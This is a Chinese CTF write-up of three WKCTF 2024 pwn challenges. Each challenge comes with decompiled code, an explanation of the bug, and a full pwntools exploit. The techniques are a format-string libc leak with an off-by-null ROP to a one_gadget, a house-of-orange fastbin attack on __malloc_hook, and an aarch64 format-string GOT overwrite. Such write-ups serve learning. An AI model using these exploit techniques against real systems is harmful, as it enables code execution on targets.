题目下载地址:https://github.com/0xviol1t/CTF-challenges/tree/main/2024/WKCTF
baby_stack
wait
中存在格式化字符串漏洞,随便测一下发现输入6
的时候会输出一个libc
上的地址从而得到基址,通过libc
基址获取one gadget
地址
void __fastcall wait()
{
unsigned int num; // eax
char s[5]; // [rsp+Bh] [rbp-85h] BYREF
char format[120]; // [rsp+10h] [rbp-80h] BYREF
puts("Press enter to continue");
getc(stdin);
printf("Pick a number: ");
fgets(s, 5, stdin);
num = strtol(s, 0LL, 10);
snprintf(format, 0x64uLL, "Your magic number is: %%%d$llx\n", num);
printf(format);
introduce();
}
echo_inner
中存在栈上的off-by-null
,在栈上布置rop
并且通过输入长度控制将\x00
写到rbp
,返回到上层函数之后就会抬栈运行到布置的rop
,为了确保执行到ogg
需要将最后8
位覆盖成ogg
,前面全部覆盖成ret
void __fastcall echo_inner(_BYTE *a1, int size)
{
a1[(int)fread(a1, 1uLL, size, stdin)] = 0;
puts("You said:");
printf("%s", a1);
}
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('110.40.35.73', 33688)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
r.sendafter(b'continue', b'\n')
r.sendlineafter(b'number', b'6')
r.recvuntil(b'is: ')
libc_base = int(r.recvuntil(b'\n')[:-1], 16) - 0x3ec7e3
libc = ELF('./2.27/libc-2.27.so')
one = [0x4f2a5, 0x4f302, 0x10a2fc]
ogg = one[1] + libc_base
ret = 0x00000000000008aa + libc_base
r.sendlineafter(b'256)? ', b'256')
p = p64(ret) * 31 + p64(ogg)
r.sendline(p)
r.interactive()
easy_heap
漏洞点出在edit
可以堆溢出
unsigned __int64 edit()
{
int index; // [rsp+0h] [rbp-10h] BYREF
_DWORD size[3]; // [rsp+4h] [rbp-Ch] BYREF
*(_QWORD *)&size[1] = __readfsqword(0x28u);
index = 0;
size[0] = 0;
puts("Index :");
__isoc99_scanf("%d", &index);
puts("Size :");
__isoc99_scanf("%d", size);
if ( size[0] > 0x1000u )
{
puts("too large");
exit(0);
}
puts("Content :");
read(0, chunk_ptr[index], size[0]);
return __readfsqword(0x28u) ^ *(_QWORD *)&size[1];
}
没有delete
且限制了show
的长度为一个地址,首先想到的就是house of orange
伪造top chunk
的条件:
- 保证原本
old top chunk
的size
大于MINSIZE
- 保证原本
old top chunk
的prev_inuse
位是1
- 原本
old top chunk
的地址加上其size
之后的地址要与页对齐 也就是address & 0xfff = 0x000
old chunk
的size
要小于申请的堆块大小加上MINSIZE
当申请的堆大小大于伪造的top chunk
大小时会将top chunk
释放,释放的大小为top chunk size - 0x20
,并且根据释放的大小判断进入fastbin
或者unsorted bin
所以本题可以先释放一次top chunk
到unsorted bin
泄露libc
,再释放一次top chunk
到fastbin
进行fastbin attack
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('110.40.35.73', 33747)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def add(size, content):
r.sendlineafter(b'>', b'1')
r.sendlineafter(b'Size', str(size))
r.sendafter(b'Content', content)
def edit(index, size, content):
r.sendlineafter(b'>', b'2')
r.sendlineafter(b'Index', str(index))
r.sendlineafter(b'Size', str(size))
r.sendafter(b'Content', content)
def show(index):
r.sendlineafter(b'>', b'3')
r.sendlineafter(b'Index', str(index))
add(0xdf8, b'a')
add(0x18, b'a')
p = b'a' * 0x18 + p64(0x1e1)
edit(1, len(p), p)
add(0xdf8, b'a')
add(0x1b8, b'a')
show(3)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b"\x00")) - 0x3c4b61
libc = ELF('./2.23/libc-2.23.so')
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
ogg = libc_base + one[3]
malloc_hook = libc_base + libc.sym['__malloc_hook']
add(0x18, b'a')
p = b'a' * 0x18 + p64(0x1e1)
edit(4, len(p), p)
add(0x148, b'a')
add(0xdf8, b'a')
p = b'a' * 0x148 + p64(0x71) + p64(malloc_hook - 0x23)
edit(5, len(p), p)
add(0x68, b'a')
add(0x68, b'a' * 19 + p64(ogg))
r.sendlineafter(b'>', b'1')
r.sendlineafter(b'Size', str(0))
r.interactive()
something_changed
漏洞点是格式化字符串,并且存在后门,限制了输入内容不能包含$
,但还是可以直接用fmtstr_payload
工具
int __fastcall main(int argc, const char **argv, const char **envp)
{
size_t v4; // x19
int i; // [xsp+FCCh] [xbp+2Ch]
char v6[40]; // [xsp+FD0h] [xbp+30h] BYREF
__int64 v7; // [xsp+FF8h] [xbp+58h]
v7 = _bss_start;
read(0, v6, 0x50uLL);
for ( i = 0; ; ++i )
{
v4 = i;
if ( v4 >= strlen(v6) )
break;
if ( (char *)(unsigned __int8)v6[i] == "$" )
return 0;
}
printf(v6);
return 0;
}
测试出偏移是14
,开了canary
保护,所以可以将__stack_chk_fail_got
改成backdoor
sudo qemu-aarch64 -L ./libc/libc/lib ./pwn
aaaaaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
aaaaaaaa-0x7f3e313a1400-0x2d70252d70252d70-0xa7025-0x7f3e313a1448-(nil)-0x8080808080-0x2c6f242c6f242c6f-0x7f3e313a13e0-0x7f3e30a48a00-0x400888-0x4008c0-0x7f3e313a13e0-0x4b30a489ac-0x6161616161616161-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70
exp
from pwn import *
context(arch='aarch64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('120.79.91.95', 3332)
else:
r = process(["qemu-aarch64", "-g", "1234", "./pwn"])
elf = ELF(file_name)
def dbg():
gdb.attach(r)
p = fmtstr_payload(14, {0x411018:0x400770}, write_size='short')
r.send(p)
r.interactive()